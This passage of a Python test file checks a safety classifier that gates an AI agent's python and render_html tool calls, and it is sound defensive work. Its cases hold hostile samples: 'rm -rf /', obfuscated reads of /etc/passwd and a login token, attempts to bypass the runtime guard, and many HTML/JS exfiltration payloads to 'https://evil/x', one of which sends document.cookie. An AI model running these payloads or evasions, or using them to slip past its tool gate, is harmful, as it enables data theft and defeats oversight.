("import asyncio\nasyncio.create_subprocess_exec('rm', '-rf', '/')", True), # asyncio spawn
|
|
("import asyncio\nasyncio.sleep(1)", False), # benign asyncio helper stays safe
|
|
("import imaplib\nimaplib.IMAP4('host')", True), # stdlib mail client opens a connection
|
|
("import poplib\npoplib.POP3('host')", True), # stdlib mail client
|
|
("import xmlrpc.client\nxmlrpc.client.ServerProxy('http://x')", True), # rpc client
|
|
("import math\nmath.sqrt(2)", False), # benign stdlib import stays safe
|
|
("def f(o=open):\n o('out', 'w').write('x')\nf()", True), # open captured in a default
|
|
("g = lambda o=open: o('out', 'w')\ng()", True), # open captured in a lambda default
|
|
("def f(o=len):\n return o('x')\nf()", False), # a benign default stays safe
|
|
("import numpy as np\ns = np.save\ns('out.npy', arr)", True), # attribute writer aliased
|
|
("from pathlib import Path\np = Path('out').open\np('w')", True), # bound .open aliased
|
|
("import zipfile\nz = zipfile.ZipFile\nz('a.zip', 'w')", True), # attribute archive ctor
|
|
("import numpy as np\nx = np.mean\nx(a)", False), # a benign attribute alias stays safe
|
|
(
|
|
"import numpy as np\nnp.memmap('o', dtype='u1', mode='w+', shape=(1,))",
|
|
True,
|
|
), # memmap w+
|
|
(
|
|
"import pandas as pd\npd.ExcelWriter('o.xlsx')",
|
|
True,
|
|
), # pandas ExcelWriter creates a file
|
|
("import pandas as pd\npd.HDFStore('o.h5')", True), # pandas HDFStore creates a file
|
|
("import asyncio\nasyncio.open_connection('h', 80)", True), # asyncio outbound connection
|
|
(
|
|
"import asyncio\nl = asyncio.get_event_loop()\nl.create_server(P, 'h', 80)",
|
|
True,
|
|
), # listener
|
|
("import asyncio\nasyncio.start_server(cb, 'h', 80)", True), # asyncio listener
|
|
(
|
|
"import asyncio\nasyncio.open_unix_connection('/tmp/s')",
|
|
True,
|
|
), # asyncio unix connect
|
|
(
|
|
"import asyncio\nl = asyncio.get_event_loop()\nl.create_datagram_endpoint(f)",
|
|
True,
|
|
), # UDP socket
|
|
(
|
|
"import asyncio\nl = asyncio.get_event_loop()\nl.sock_connect(s, ('h', 80))",
|
|
True,
|
|
), # raw socket connect
|
|
("import asyncio\nasyncio.sleep(1)", False), # benign asyncio helper stays safe
|
|
("import os\nos.setxattr('f', 'user.x', b'v')", True), # xattr write
|
|
("import os\nos.removexattr('f', 'user.x')", True), # xattr remove
|
|
("import gzip\ngzip.GzipFile('o.gz', 'w')", True), # gzip writer
|
|
("import bz2\nbz2.BZ2File('o.bz2', 'w')", True), # bz2 writer
|
|
("import lzma\nlzma.LZMAFile('o.xz', mode='w')", True), # lzma writer (mode kw)
|
|
(
|
|
"from gzip import GzipFile\nGzipFile('o.gz', 'wb')",
|
|
True,
|
|
), # bare-imported gzip writer
|
|
("import gzip\ngzip.GzipFile('o.gz', 'r')", False), # gzip read stays safe
|
|
("import gzip\ngzip.GzipFile('o.gz')", False), # gzip default (read) stays safe
|
|
("df.to_xml('out.xml')", True), # pandas to_xml writer
|
|
("df.to_html('report.html')", True), # pandas to_html writer
|
|
("df.to_markdown('out.md')", True), # pandas to_markdown writer
|
|
("df.to_latex('out.tex')", True), # pandas to_latex writer
|
|
("df.to_dict()", False), # non-persisting pandas export stays safe
|
|
("x = df.to_string()", False), # to_string renders to memory, stays safe
|
|
(
|
|
"import websockets\nwebsockets.connect('ws://h')",
|
|
True,
|
|
), # websockets outbound connection
|
|
(
|
|
"import asyncio\nasyncio.start_unix_server(cb, '/tmp/sock')",
|
|
True,
|
|
), # asyncio unix listener
|
|
("import os\nos.startfile('calc.exe')", True), # Windows startfile launches a program
|
|
(
|
|
"import socketserver\nsocketserver.TCPServer(('0.0.0.0', 80), H)",
|
|
True,
|
|
), # stdlib server binds a listener
|
|
(
|
|
"from gzip import open as gopen\ngopen('o.gz', 'w')",
|
|
True,
|
|
), # gzip open alias, write mode
|
|
(
|
|
"from gzip import open as gopen\ngopen('o.gz', 'rt')",
|
|
False,
|
|
), # gzip open alias, read stays safe
|
|
(
|
|
"open(chr(47) + 'etc/passwd').read()",
|
|
True,
|
|
), # dynamic '/' prefix forms /etc/passwd
|
|
(
|
|
"import os\nopen(os.sep + 'etc/passwd').read()",
|
|
True,
|
|
), # os.sep prefix forms /etc/passwd
|
|
(
|
|
"base = get_dir()\nopen(base + 'data/file.txt').read()",
|
|
False,
|
|
), # dynamic prefix + benign suffix stays safe
|
|
(
|
|
"import logging\nlogging.basicConfig(filename='o.log', filemode='w')",
|
|
True,
|
|
), # basicConfig opens a log file for write
|
|
(
|
|
"from logging import basicConfig\nbasicConfig(filename='o.log')",
|
|
True,
|
|
), # bare-imported basicConfig write
|
|
(
|
|
"import logging\nlogging.basicConfig(level=logging.INFO)",
|
|
False,
|
|
), # basicConfig without filename stays safe
|
|
(
|
|
"from operator import methodcaller\nw = methodcaller('write_text', 'x')\nw(Path('f'))",
|
|
True,
|
|
), # methodcaller hides a writer method
|
|
(
|
|
"import operator\nw = operator.methodcaller('unlink')\nw(Path('f'))",
|
|
True,
|
|
), # operator.methodcaller unlink
|
|
(
|
|
"from operator import methodcaller\nu = methodcaller('upper')\nu('x')",
|
|
False,
|
|
), # methodcaller of a read-only method stays safe
|
|
(
|
|
"import fileinput\nfor line in fileinput.input('v.txt', inplace=True):\n pass",
|
|
True,
|
|
), # fileinput in-place rewrite
|
|
(
|
|
"import fileinput\nfor line in fileinput.input('v.txt'):\n pass",
|
|
False,
|
|
), # fileinput read stays safe
|
|
(
|
|
"import pathlib\nP = pathlib.Path\n(P('/etc') / 'passwd').read_text()",
|
|
True,
|
|
), # qualified path-ctor alias (P = pathlib.Path)
|
|
(
|
|
"import pathlib\nP = pathlib.Path\n(P('/tmp') / 'x').read_text()",
|
|
False,
|
|
), # benign qualified path-ctor alias stays safe
|
|
(
|
|
"import numpy as np\ndef f(s=np.save):\n s('o.npy', a)\nf()",
|
|
True,
|
|
), # attribute writer captured as a default arg
|
|
(
|
|
"from functools import partial\ndef f(w=partial(open, mode='w')):\n w('o')\nf()",
|
|
True,
|
|
), # partial(open) captured as a default arg
|
|
(
|
|
"import numpy as np\ndef f(s=np.mean):\n s(a)\nf()",
|
|
False,
|
|
), # benign attribute default stays safe
|
|
(
|
|
"open('/et' + chr(99) + '/passwd').read()",
|
|
True,
|
|
), # dynamic char splitting a sensitive name
|
|
(
|
|
"open(a + '/' + b).read()",
|
|
False,
|
|
), # segment-spanning dynamic path stays safe
|
|
("list(map(open, ['o.txt'], ['w']))", True), # open handed to map()
|
|
(
|
|
"import numpy as np\nlist(map(np.save, ['o.npy'], [arr]))",
|
|
True,
|
|
), # writer handed to map()
|
|
("list(map(len, ['abc']))", False), # benign map() stays safe
|
|
(
|
|
"import itertools\nlist(itertools.starmap(open, [('out', 'w')]))",
|
|
True,
|
|
), # qualified higher-order invoker (itertools.starmap)
|
|
(
|
|
"import functools\nfunctools.reduce(open, xs)",
|
|
True,
|
|
), # qualified functools.reduce with a writer
|
|
(
|
|
"import itertools\nlist(itertools.starmap(len, xs))",
|
|
False,
|
|
), # benign qualified invoker stays safe
|
|
(
|
|
"import itertools\nlist(itertools.chain(xs, ys))",
|
|
False,
|
|
), # non-invoker itertools helper stays safe
|
|
(
|
|
"m = map\nlist(m(open, ['o.txt'], ['w']))",
|
|
True,
|
|
), # aliased invoker (m = map) handed open()
|
|
(
|
|
"from itertools import starmap as sm\nlist(sm(open, [('out', 'w')]))",
|
|
True,
|
|
), # imported-as invoker alias handed open()
|
|
(
|
|
"f = filter\nlist(f(open, ['a']))",
|
|
True,
|
|
), # aliased filter() handed open()
|
|
(
|
|
"m = map\nlist(m(str, [1, 2]))",
|
|
False,
|
|
), # aliased invoker with a benign callable stays safe
|
|
("spec.loader.exec_module(module)", True), # runs a module's code
|
|
("spec.loader.get_data('x')", False), # loader read stays safe
|
|
(
|
|
"import zipfile\nzipfile.ZipFile('a.zip').extractall('out')",
|
|
True,
|
|
), # extractall writes arbitrary files
|
|
(
|
|
"import zipfile\nzipfile.ZipFile('a.zip').extract('member', 'out')",
|
|
True,
|
|
), # single-member extract still writes to disk (zip-slip)
|
|
(
|
|
"import tarfile\ntarfile.open('a.tar').extract('m', 'out')",
|
|
True,
|
|
), # tarfile single-member extract writes to disk
|
|
(
|
|
"import zipfile\nzipfile.ZipFile('a.zip').read('n')",
|
|
False,
|
|
), # archive in-memory read stays safe
|
|
(
|
|
"import zipfile\nzipfile.ZipFile('a.zip').namelist()",
|
|
False,
|
|
), # archive read stays safe
|
|
("import ensurepip\nensurepip.bootstrap()", True), # installs pip
|
|
("import venv\nvenv.create('env')", True), # builds an environment
|
|
("import pydoc\npydoc.writedoc('math')", True), # writes name.html
|
|
(
|
|
"print(open('/home/alice/.cache/huggingface/token').read())",
|
|
True,
|
|
), # reads the Hugging Face login token
|
|
(
|
|
"open('/home/alice/.cache/huggingface/hub/models--x/config.json').read()",
|
|
False,
|
|
), # HF model cache is not a credential
|
|
("import numpy as np\nnp.mean([1, 2])", False), # a benign numpy read stays safe
|
|
(
|
|
"from pathlib import Path\nP = Path\n(P('/etc') / 'passwd').read_text()",
|
|
True,
|
|
), # Path aliased
|
|
(
|
|
"import os\nj = os.path.join\nopen(j('/etc', 'passwd')).read()",
|
|
True,
|
|
), # os.path.join aliased
|
|
(
|
|
"from pathlib import Path\nP = Path\n(P('/tmp') / 'x').read_text()",
|
|
False,
|
|
), # benign alias
|
|
(
|
|
"from pathlib import Path\nPath('/etc').joinpath('passwd').read_text()",
|
|
True,
|
|
), # pathlib joinpath
|
|
(
|
|
"from pathlib import Path\nPath('data').joinpath('x.txt').read_text()",
|
|
False,
|
|
), # relative joinpath stays safe
|
|
(
|
|
"from pathlib import Path\nPath('/etc/anything').with_name('passwd').read_text()",
|
|
True,
|
|
), # with_name rewrites the final segment to a secret
|
|
(
|
|
"from pathlib import Path\nPath('/etc/x').with_stem('passwd').read_text()",
|
|
True,
|
|
), # with_stem rewrites the stem to a secret
|
|
(
|
|
"from pathlib import Path\nPath('/etc/passwd.bak').with_suffix('').read_text()",
|
|
True,
|
|
), # with_suffix drops the suffix onto a secret
|
|
(
|
|
"from pathlib import Path\nPath('/tmp/a').with_name('b.txt').read_text()",
|
|
False,
|
|
), # benign with_name in the sandbox stays safe
|
|
(
|
|
"from pathlib import Path\nPath('report.txt').with_suffix('.md').read_text()",
|
|
False,
|
|
), # benign with_suffix stays safe
|
|
("base, leaf = ('/etc', 'passwd')\nopen(base + '/' + leaf).read()", True),
|
|
# destructured string literals fold into the sensitive path
|
|
("d, f = ('/etc', 'passwd')\nopen('/'.join([d, f])).read()", True),
|
|
# destructured literals reused through str.join
|
|
("base, leaf = ('/tmp', 'x')\nopen(base + '/' + leaf).read()", False),
|
|
# benign destructured literals stay safe
|
|
("open(b'/etc/passwd').read()", True), # bytes path literal
|
|
("open(b'data.txt').read()", False), # benign bytes literal stays safe
|
|
(
|
|
"from pathlib import Path\n(Path.cwd().parent / 'other' / 'notes').read_text()",
|
|
True,
|
|
), # pathlib parent escapes the sandbox
|
|
(
|
|
"from pathlib import Path\n(Path('data') / 'notes').read_text()",
|
|
False,
|
|
), # in-sandbox pathlib read stays safe
|
|
("import glob\nopen(glob.glob('/e??/passwd')[0]).read()", True), # python glob to secret
|
|
("import glob\nfor f in glob.glob('*.py'):\n print(f)", False), # benign glob stays safe
|
|
(
|
|
"import glob\nbase = '/e??'\nopen(glob.glob(base + '/passwd')[0]).read()",
|
|
True,
|
|
), # glob pattern folded from a literal variable
|
|
("from os.path import join\nopen(join('/etc', 'passwd')).read()", True), # bare join alias
|
|
("from os.path import join\nopen(join('data', 'x.txt')).read()", False), # benign bare join
|
|
("from numpy import save\nsave('out.npy', arr)", True), # writer imported as a bare name
|
|
("from numpy import mean\nmean(arr)", False), # benign bare import stays safe
|
|
(
|
|
"from pathlib import Path as P\n(P('/etc') / 'passwd').read_text()",
|
|
True,
|
|
), # aliased pathlib constructor
|
|
(
|
|
"from pathlib import Path as P\n(P('data') / 'x').read_text()",
|
|
False,
|
|
), # aliased ctor with a relative path stays safe
|
|
(
|
|
"from pathlib import PosixPath\n(PosixPath('/etc') / 'passwd').read_text()",
|
|
True,
|
|
), # concrete PosixPath constructor is folded too
|
|
(
|
|
"import pathlib\n(pathlib.PosixPath('/etc') / 'passwd').read_text()",
|
|
True,
|
|
), # qualified concrete constructor
|
|
(
|
|
"from pathlib import WindowsPath as W\n(W('/etc') / 'passwd').read_text()",
|
|
True,
|
|
), # aliased concrete Windows constructor
|
|
(
|
|
"from pathlib import PosixPath\n(PosixPath('data') / 'x').read_text()",
|
|
False,
|
|
), # concrete ctor with a relative path stays safe
|
|
(
|
|
"base = '/etc'\nopen(base + '/passwd').read()\nbase = 'data'",
|
|
True,
|
|
), # a later reassignment must not mask the earlier sensitive read
|
|
(
|
|
"base = 'data'\nopen(base + '/x').read()\nbase = '/etc'",
|
|
True,
|
|
), # any reassignment of a path var fails closed
|
|
(
|
|
"base = 'data'\nopen(base + '/x').read()",
|
|
False,
|
|
), # a single benign literal path var stays safe
|
|
(
|
|
"from zipfile import ZipFile\nZipFile('out.zip', 'w')",
|
|
True,
|
|
), # bare archive constructor with write mode
|
|
(
|
|
"from tarfile import TarFile as T\nT('a.tar', 'w')",
|
|
True,
|
|
), # aliased bare archive constructor
|
|
(
|
|
"from zipfile import ZipFile\nZipFile('in.zip')",
|
|
False,
|
|
), # bare archive constructor reading stays safe
|
|
(
|
|
"import os\ng = getattr\nrm = g(os, 'remove')\nrm('file')",
|
|
True,
|
|
), # dynamic lookup aliased through a getattr alias
|
|
(
|
|
"import os\ng = getattr\nn = g(os, 'name')\nprint(n)",
|
|
False,
|
|
), # resolving (not calling) through a getattr alias stays safe
|
|
(
|
|
"from functools import partial\nw = partial(open, mode='w')\nw('out.txt')",
|
|
True,
|
|
), # partial wrapping open hides the write mode
|
|
(
|
|
"import os\nfrom functools import partial\nw = partial(os.remove)\nw('f')",
|
|
True,
|
|
), # partial wrapping a mutating callable
|
|
(
|
|
"from functools import partial\np = partial(print, end='')\np('hi')",
|
|
False,
|
|
), # partial wrapping a safe callable stays safe
|
|
(
|
|
"open(*('result.txt', 'w')).write('x')",
|
|
True,
|
|
), # *args splat can hide the write mode
|
|
("open(*args).write('x')", True), # dynamic *args splat fails closed
|
|
("__builtins__.__import__('subprocess')", True), # __builtins__ dynamic import
|
|
(
|
|
"import builtins\nbuiltins.__import__('os')",
|
|
True,
|
|
), # builtins.__import__ dynamic import
|
|
(
|
|
"import builtins\nbuiltins.print(builtins.len([1]))",
|
|
False,
|
|
), # benign builtins.print/len stay safe
|
|
(
|
|
"import os\nopen(f'/proc/{os.getppid()}/fd/3').read()",
|
|
True,
|
|
), # f-string procfs fd symlink read
|
|
# huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
|
|
# files over the network (and write an on-disk cache), so they ask.
|
|
(
|
|
"import huggingface_hub\nhuggingface_hub.hf_hub_download('r', 'f')",
|
|
True,
|
|
), # hub file download over the network
|
|
(
|
|
"from huggingface_hub import hf_hub_download\nhf_hub_download('r', 'f')",
|
|
True,
|
|
), # bare-imported hub file download
|
|
(
|
|
"from huggingface_hub import snapshot_download\nsnapshot_download('r')",
|
|
True,
|
|
), # bare-imported repo snapshot download
|
|
("import httpcore\nhttpcore.request('GET', 'https://example.com')", True),
|
|
("import boto3\nboto3.client('s3').list_buckets()", True),
|
|
("from botocore.session import get_session\nget_session()", True),
|
|
("import statistics\nstatistics.mean([1, 2])", False), # benign stdlib import stays safe
|
|
# A concrete write callable handed to a user-defined helper that can
|
|
# invoke it bypasses the direct open()/writer site, so it asks.
|
|
(
|
|
"def run(fn): fn('out.txt', 'w').write('x')\nrun(open)",
|
|
True,
|
|
), # open passed into a helper that calls it
|
|
(
|
|
"from numpy import save\ndef h(fn): fn('o.npy', a)\nh(save)",
|
|
True,
|
|
), # writer alias passed into a helper
|
|
(
|
|
"import numpy as np\ndef run(fn): fn('o.npy', a)\nrun(np.save)",
|
|
True,
|
|
), # attribute writer passed into a helper
|
|
("def run(fn): return fn('x')\nrun(len)", False), # benign callable arg stays safe
|
|
],
|
|
)
|
|
def test_python_classifier(code, unsafe):
|
|
assert is_potentially_unsafe_tool_call("python", {"code": code}) is unsafe
|
|
|
|
|
|
def test_python_runtime_safety_blocks_child_startup_guard_bypass():
|
|
from core.inference.tools import _check_code_safety
|
|
|
|
assert (
|
|
_check_code_safety("import subprocess\nsubprocess.run(['python','-c','print(1)'])") is None
|
|
)
|
|
assert (
|
|
_check_code_safety(
|
|
"import os, subprocess\n"
|
|
"subprocess.run(['python','-c','print(1)'], env=os.environ.copy())"
|
|
)
|
|
is None
|
|
)
|
|
assert (
|
|
_check_code_safety(
|
|
"import subprocess\nsubprocess.run(['ignored','-c','print(1)'], executable='python')"
|
|
)
|
|
is None
|
|
)
|
|
assert (
|
|
_check_code_safety("import os\nos.execl('/usr/bin/python','python','-c','print(1)')")
|
|
is None
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety("import subprocess\nsubprocess.run(['python','-S','-c','print(1)'])")
|
|
or ""
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety(
|
|
"import subprocess\nsubprocess.run(args=['python','-S','-c','print(1)'])"
|
|
)
|
|
or ""
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety(
|
|
"import subprocess\n"
|
|
"subprocess.run(['ignored','-S','-c','print(1)'], executable='python')"
|
|
)
|
|
or ""
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety("from subprocess import *\nrun(['python','-S','-c','print(1)'])") or ""
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety("import os\nos.execl('/usr/bin/python','python','-S','-c','print(1)')")
|
|
or ""
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety("import subprocess\nsubprocess.run(['python','-c','print(1)'], env={})")
|
|
or ""
|
|
)
|
|
assert "runtime guard" in (
|
|
_check_code_safety(
|
|
"import os, subprocess\nos.environ.pop('PYTHONPATH', None)\n"
|
|
"subprocess.run(['python','-c','print(1)'])"
|
|
)
|
|
or ""
|
|
)
|
|
|
|
|
|
def test_builtin_readonly_tools_are_safe():
|
|
assert is_potentially_unsafe_tool_call("web_search", {"query": "hi"}) is False
|
|
assert is_potentially_unsafe_tool_call("search_knowledge_base", {}) is False
|
|
assert is_potentially_unsafe_tool_call("render_html", {}) is False
|
|
|
|
|
|
def test_render_html_gated_only_when_networked():
|
|
# A static canvas auto-runs; one whose HTML/JS reaches the network asks.
|
|
def rh(code):
|
|
return is_potentially_unsafe_tool_call("render_html", {"code": code})
|
|
|
|
assert rh("<h1>Report</h1><p>Summary</p>") is False
|
|
assert (
|
|
rh("<div id=c></div><script>document.getElementById('c').textContent='x'</script>") is False
|
|
)
|
|
assert rh("<svg xmlns='http://www.w3.org/2000/svg'><circle r=4/></svg>") is False
|
|
assert rh("<img src='./local.png'>") is False
|
|
assert rh("<img src=x onerror='fetch(1)'>") is True
|
|
assert rh("<script>new WebSocket('wss://x')</script>") is True
|
|
assert rh("<script src='https://cdn/x.js'></script>") is True
|
|
assert rh("<script>new XMLHttpRequest().open('GET','/x')</script>") is True
|
|
assert rh("<img src='https://evil/pixel.png'>") is True
|
|
assert rh('<svg><image xlink:href="https://evil/x.png"/></svg>') is True
|
|
assert rh('<svg><use xlink:href="#local-symbol"/></svg>') is False
|
|
assert rh('<iframe srcdoc="<img src=https://evil/x>"></iframe>') is True
|
|
assert rh('<iframe srcdoc="<h1>Local report</h1>"></iframe>') is False
|
|
# Worker / SharedWorker constructors run an off-thread script the scan cannot
|
|
# see (a module worker from a CORS CDN, or a blob/same-origin worker that
|
|
# fetches/importScripts) under worker-src http: https: blob:, so they ask.
|
|
assert rh("<script>new Worker('https://evil/w.js')</script>") is True
|
|
assert rh("<script>new Worker('https://cdn/x.mjs', {type: 'module'})</script>") is True
|
|
assert rh("<script>new SharedWorker('https://evil/w.js')</script>") is True
|
|
assert rh("<script>var myWorker = 1; console.log(myWorker)</script>") is False # not a ctor
|
|
assert rh("<script>new WorkerPool(4)</script>") is False # unrelated class, not a real Worker
|
|
# Resource-loading forms beyond a direct fetch also reach the network.
|
|
assert rh("<style>body{background:url(https://evil/x.png)}</style>") is True
|
|
assert rh("<style>@import 'https://evil/x.css'</style>") is True
|
|
assert rh("<img srcset='https://evil/x.png 1x'>") is True
|
|
assert rh("<img src='/api/leak?d=1'>") is True # root-relative resolves to origin
|
|
assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True # protocol-relative
|
|
assert rh("<form action='https://evil/x' method='post'></form>") is True
|
|
assert rh("<video poster='https://evil/x.png'></video>") is True
|
|
assert rh("<object data='https://evil/x'></object>") is True
|
|
assert rh("<a ping='https://evil/x'>link</a>") is True
|
|
assert rh("<img srcset='local.png 1x, https://evil/x.png 2x'>") is True
|
|
assert rh("<a ping='local https://evil/x'>link</a>") is True
|
|
assert rh("<script>const data = '/tmp/file.json'</script>") is False
|
|
# Self-navigation sinks exfiltrate by navigating the frame away.
|
|
assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
|
|
assert rh("<script>location.assign('https://x')</script>") is True
|
|
assert rh("<script>location.replace('https://x')</script>") is True
|
|
assert rh("<script>window.open('https://x')</script>") is True
|
|
assert rh("<script>window.location='https://x'</script>") is True
|
|
assert rh("<script>location.reload()</script>") is False # reload is not navigation
|
|
assert rh("<script>history.back()</script>") is False
|
|
# Obfuscated egress: a block comment splitting fetch(, or bracket access.
|
|
assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
|
|
assert rh("<script>window['fetch']('https://example.com')</script>") is True
|
|
assert rh("<script>window[`fetch`]('https://example.com')</script>") is True
|
|
assert rh("<script>window[`fet`+`ch`]('https://example.com')</script>") is True
|
|
assert rh("<script>window['fetch'.replace('x','x')]('https://x')</script>") is True
|
|
assert rh("<script>window['fetch'+suffix]('https://x')</script>") is True
|
|
assert rh("<script>window[key]('https://x')</script>") is True
|
|
assert rh("<script>window?.['fetch']('https://x')</script>") is True
|
|
assert rh("<script>this['fetch']('https://x')</script>") is True
|
|
assert rh("<script>this[`fet`+`ch`]('https://x')</script>") is True
|
|
assert rh("<script>frames[0]</script>") is False
|
|
assert rh("<script>frames[0]['fetch']('https://x')</script>") is True
|
|
assert rh("<script>frames?.[0]?.['fetch']('https://x')</script>") is True
|
|
assert rh("<script>document.defaultView['fetch']('https://x')</script>") is True
|
|
assert rh("<script>navigator['serviceWorker'].register('/sw.js')</script>") is True
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('src','https://evil/x')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute?.('src','https://evil/x')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('s'+'rc','https://evil/x')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const i=document.createElement('img');"
|
|
"i.setAttribute('srcset','local.png 1x, https://evil/x.png 2x')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>const a=document.createElement('a');"
|
|
"a.setAttribute('ping','local https://evil/x')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>image.setAttributeNS('http://www.w3.org/1999/xlink',"
|
|
"'href','https://evil/x.png')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>image.setAttributeNS('http://www.w3.org/1999/xlink',"
|
|
"'xlink:href','#local-symbol')</script>"
|
|
)
|
|
is False
|
|
)
|
|
assert rh("<script>const i={};i.setAttribute(name,'https://evil/x')</script>") is True
|
|
assert rh("<script>const i={};i.src='https://evil/x'</script>") is True
|
|
assert rh("<script>const i={};i.src='https:\\/\\/evil/x'</script>") is True
|
|
assert rh("<script>const i={};i.src='\\x68ttps://evil/x'</script>") is True
|
|
assert rh("<script>const i={};i.src='\\u0068ttps://evil/x'</script>") is True
|
|
assert rh("<script>const i={};i.src=source</script>") is True
|
|
assert rh("<script>const i={};i.src='./local.png'.replace('local','/api')</script>") is True
|
|
assert rh("<script>const i={};i.srcset='local.png 1x, https://evil/x 2x'</script>") is True
|
|
assert rh("<script>document.body.innerHTML='<img src=https://evil/x>'</script>") is True
|
|
assert rh("<script>document.body.innerHTML += '<img src=https://evil/x>'</script>") is True
|
|
assert rh("<script>document.body.innerHTML += '<p>Local</p>'</script>") is False
|
|
assert rh("<script>document.body.innerHTML ||= '<img src=https://evil/x>'</script>") is True
|
|
assert rh("<script>document.body.innerHTML='<p>Local</p>'</script>") is False
|
|
assert rh("<script>document.body.innerHTML=markup</script>") is True
|
|
assert rh("<script>frame.srcdoc='<img src=https://evil/x>'</script>") is True
|
|
assert rh("<script>frame.srcdoc='<h1>Local</h1>'</script>") is False
|
|
assert rh("<script>frame.srcdoc=markup</script>") is True
|
|
assert rh("<script>frame.setAttribute('srcdoc','<img src=https://evil/x>')</script>") is True
|
|
assert rh("<script>frame.setAttribute('srcdoc','<h1>Local</h1>')</script>") is False
|
|
assert rh("<script>img['src']='https://evil/x'</script>") is True
|
|
assert rh("<script>frame['srcdoc']='<img src=https://evil/x>'</script>") is True
|
|
assert rh("<script>document.body['inner'+'HTML']='<img src=https://evil/x>'</script>") is True
|
|
assert rh("<script>img['setAttribute']('src','https://evil/x')</script>") is True
|
|
assert (
|
|
rh("<script>node['insertAdjacentHTML']('beforeend','<img src=https://evil/x>')</script>")
|
|
is True
|
|
)
|
|
assert rh("<script>Reflect.set(img,'src','https://evil/x')</script>") is True
|
|
assert rh("<script>Object.assign(img,{src:'https://evil/x'})</script>") is True
|
|
assert rh("<script>Object.assign(frame,{'srcdoc':'<img src=https://evil/x>'})</script>") is True
|
|
assert rh("<script>Object.assign(new Image(), {['src']: 'https://evil/x'})</script>") is True
|
|
assert rh("<script>Object.assign(new Image(), {['src']: './local.png'})</script>") is False
|
|
assert rh("<script>Object.assign(new Image(), {[key]: 'https://evil/x'})</script>") is True
|
|
assert (
|
|
rh(
|
|
"<script>const key='title'; Object.assign(new Image(), {[key]: 'https://evil/x'})</script>"
|
|
)
|
|
is False
|
|
)
|
|
assert rh("<script>img['src']='./local.png'</script>") is False
|
|
assert rh("<script>img['setAttribute']('src','./local.png')</script>") is False
|
|
assert rh("<script>img.setAttribute.call(img, 'src', 'https://evil/x')</script>") is True
|
|
assert rh("<script>img.setAttribute.call(img, 'src', './local.png')</script>") is False
|
|
assert rh("<script>img.setAttribute.apply(img, ['src', 'https://evil/x'])</script>") is True
|
|
assert rh("<script>img.setAttribute.apply(img, ['src', './local.png'])</script>") is False
|
|
assert rh("<script>img.setAttribute.call(img, 'class', 'https://evil/x')</script>") is False
|
|
assert rh("<script>Reflect.set(obj,'title','https://evil/x')</script>") is False
|
|
assert (
|
|
rh("<script>Object.assign(obj,{src:'./local.png',title:'https://evil/x'})</script>")
|
|
is False
|
|
)
|
|
assert rh("<script>node.outerHTML='<script>fetch(1)<\\/script>'</script>") is True
|
|
assert rh("<script>node.insertAdjacentHTML('beforeend','<img src=/api/x>')</script>") is True
|
|
assert rh("<script>document.write('<img sr','c=https://evil/x>')</script>") is True
|
|
assert rh("<script>document.write`<img src=https://evil/x>`</script>") is True
|
|
assert rh("<script>document.write`<p>Local</p>`</script>") is False
|
|
assert rh("<script>document.write.call(document, '<img src=https://evil/x>')</script>") is True
|
|
assert rh("<script>document.write.call(document, '<p>Local</p>')</script>") is False
|
|
assert (
|
|
rh(
|
|
"<script>node.insertAdjacentHTML.apply(node, ['beforeend', '<img src=https://evil/x>'])</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh("<script>node.insertAdjacentHTML.apply(node, ['beforeend', '<p>Local</p>'])</script>")
|
|
is False
|
|
)
|
|
assert (
|
|
rh(
|
|
"<script>document.createRange().createContextualFragment.call("
|
|
"document.createRange(), '<img src=https://evil/x>')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert rh("<script>document.writeln('<p>Local</p>')</script>") is False
|
|
assert rh("<script>writer.write('<img src=https://evil/x>')</script>") is False
|
|
# Optional-chained computed document.write still recurses into the markup.
|
|
assert rh("<script>document?.['write']('<img src=https://evil/x>')</script>") is True
|
|
assert rh("<script>document?.['write']('<p>Local</p>')</script>") is False
|
|
# document.open() returns the document, so a write through it is an HTML sink.
|
|
assert rh("<script>document.open().write('<img src=https://evil/x>')</script>") is True
|
|
assert (
|
|
rh("<script>document.open('text/html').writeln('<img src=https://evil/x>')</script>")
|
|
is True
|
|
)
|
|
assert rh("<script>document.open().write('<p>Local</p>')</script>") is False
|
|
assert (
|
|
rh(
|
|
"<script>document.createRange().createContextualFragment("
|
|
"'<img src=https://evil/x>')</script>"
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
rh("<script>document.createRange().createContextualFragment('<p>Local</p>')</script>")
|
|
is False
|
|
)
|
|
assert rh("<script>[img.src] = ['https://evil/x']</script>") is True
|
|
assert rh("<script>[img.src] = ['./local.png']</script>") is False
|
|
assert rh("<script>({src: img.src} = {src:'https://evil/x'})</script>") is True
|
|
assert rh("<script>({src: img.src} = {src:'./local.png'})</script>") is False
|
|
assert rh("<script>const k='src'; img[k]='https://evil/x'</script>") is True
|
|
assert rh("<script>const k='src'; img[k]='./local.png'</script>") is False
|
|
assert rh("<script>const k='title'; img[k]='https://evil/x'</script>") is False
|
|
assert rh("<script>img[k]='https://evil/x'</script>") is True
|
|
# A dotted computed key carrying a static network URL fails closed; a
|
|
# dotted key assigning a non-network value stays a static canvas.
|
|
